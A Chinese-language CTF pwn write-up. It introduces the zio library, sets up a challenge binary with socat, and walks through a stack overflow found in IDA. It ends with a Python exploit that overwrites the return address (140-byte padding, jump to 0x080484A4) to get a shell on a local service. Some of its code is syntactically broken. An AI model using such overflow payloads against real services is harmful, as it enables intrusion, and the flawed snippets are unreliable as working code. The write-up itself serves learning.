一次基于zio编写pwn的exp的尝试

ZIO

ZIO简介

zio是一个专门为CTF PWN开发的Python库,基于zio可以方便实现对远程服务器上的服务程序进行数据读写操作。不仅如此,zio甚至还支持对本地程序的数据读写操作。
zio是一个开源项目,其在GitHub上的官方项目地址为 https://github.com/zTrix/zio。zio默认只支持Linux和Mac OSX系统,如果需要在Windows下使用可能需要额外安装一些Python扩展包,或者需要自己对zio的代码进行相关的修改

常用函数

与远程服务器建立连接

zio(target),其中target是一个元组,即(IP, PORT),其中IP是字符串形式的IP地址,PORT是数字形式的端口号

从远程服务器读取数据

  1. read,直接从远程服务器读取数据;
  2. readline,从远程服务器读取一行数据;
  3. read_until(pattern),从远程服务器读取数据,直到遇到pattern字符串

    向远程数据发送数据

  4. write
  5. writeline 向远程服务器写数据(在数据末尾自动添加换行符)

    与服务器建立shell交互

    interact,在成功获取服务器控制权限之后,我们需要建立一个shell来对远程服务器进行管理,使用zio的interact函数即可完成这一功能。

    可以看到,基于zio编写代码省去了自己建立socat连接这一过程,而且使用zio封装的read/write接口替代socket的recv/send接口,使得代码更加具有可读性。

玩pwn是少不了服务的搭建的

虽然zio有自己建立socat的过程 但是却没有让程序在应该被监听的环境下

方法

安装

apt-get insatll socat

使用

1
socat TCP4-LISTEN:10002,fork EXEC:./pwn

第二次复用

1
socat TCP-LISTEN:10002,reuseaddr,fork EXEC:~./CTF/pwn

## 通用代码

1
2
3
4
5
6
7
8
9
import subprocess
import os

if __name__ == '__main__':
curdir = os.path.abspath(os.getcwd())
num = curdir.split("/")[-1]
file = "pwn" + num
cmd +["socat","TCP-LISTEN:2333 %s,reuseaddr,fork" % num, "EXEC:./%s" %file]
server.wait()

程序分析

虽然开始玩pwn了 然而linux下的程序用gdb分析还是不怎么习惯 所以即使是这一次的博文,笔者也没有用多少的调试技巧 只是用 IDA看了看程序而已 依旧只是为未入门水平。 感叹阿
对程序的main函数试用IDA的F5功能 即将汇编转化成伪代码

这里有两个函数 一个是 be_nice_to_people 这个仅仅只是通过getegid获取进程的有效组ID(effective group ID),随后将有效组ID当作参数传递给setresgid函数。setresgid用于设置真实的、有效的和保存过的组标识号。综上所述,be_nice_to_people的作用就是设置pwn1进程自身的一些权限信息,这里不做过多介绍。

并没有可利用点

还有一个函数是vulnerable_function

栈上定义了一个缓冲区,并通过read函数来读取数据存放到这个缓冲区里面(最多读取0x100个字节)
如果这里的buf比0x10小的话,那么这里就会有一个溢出 问题buf有多大呢?咱们继续分析 回到原来的汇编语言状态
在IDA的“IDA View-A”选项卡中,可以看到vulnerable_function对应的反汇编指令列表如下图所示:

可以看出来这里缓冲区的起始地址为ebp-0x88,而read指定的字节数为0x100,那么显然这里就是一个溢出点
画个列表分析一下

可以看出要覆盖到返回地址需要0x88 + 4 = 140字节的数据,即第141~144字节的数据可以用于覆盖函数的返回地址。

在这之前我知道了pwn程序开启了NX(无法把栈上的数据当作代码来执行)(用checksec.sh可以检测出来)
所以我开始尝试看pwn程序中是否有调用system(“/bin/bash”)的代码,如果有的话直接控制EIP跳转过去执行即可。
现在继续使用IDA进行分析。在IDA中切换到Imports选项卡查看程序的导入函数列表,发现其中存在有对system函数的调用,如下图所示:


这里的not_called就是我们要找的函数,对应的地址为0x080484A4,我们控制EIP跳转到0x080484A4执行代码即可

exp的编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#-*- coding:utf-8 -*-
from zio import *
def exp_pwn()

# 调用zio构造函数与服务器链接
io = zio(('127.0.0.1',2333))
#l32为zio提供的用于将32位整数(小端模式)转化为字符串的函数

ret_addr = l32(0x080484A4)
# 构造payload
payload ='A'*140+ret_addr
# 发送数据
io.writeline(payload)
# 获取服务器控制权限后形成的shell
io.interact()
if __name__ == '__main__':
exp_pwn()